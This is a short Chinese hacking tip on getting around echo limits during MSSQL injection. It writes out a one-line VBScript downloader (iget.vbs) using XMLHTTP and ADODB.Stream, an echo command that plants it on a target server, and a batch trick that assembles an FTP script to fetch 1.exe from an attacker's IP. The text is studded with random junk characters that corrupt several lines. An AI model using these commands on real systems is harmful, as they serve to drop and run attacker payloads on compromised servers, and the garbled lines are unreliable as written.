mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
) S2 o' ?9 B* d1.iget.vbs一次写入
8 b: ~+ _- \: T. D# y- l: {6 N) N! o在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
4 h% U0 j% D; k* r" A- x( A
  P4 D: E, Y; M2 ~Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
$ p2 B8 {5 X$ H: f
这样我们可以一次echo成功,echo版本:

( v; F% k/ g6 \0 f8 ^* Secho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs


2.bat调用ftp脚本的写法(by envymask)

6 o% \) _7 H# I& p% Lecho ftp&gt;1.vbs
echo open ip&gt;2.vbs
( N' A9 D5 b! p& E8 `9 _$ I" z& l, B6 Wecho u&gt;3.vbs
echo s&gt;4.vbs
echo binary&gt;5.vbs
echo get 1.exe&gt;6.vbs
8 [- a9 I! n' h: F3 H  C6 Xecho bay&gt;7.vbs
$ M; C1 Y/ }% s1 Z& o* E& o# p& M1 I
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
</P>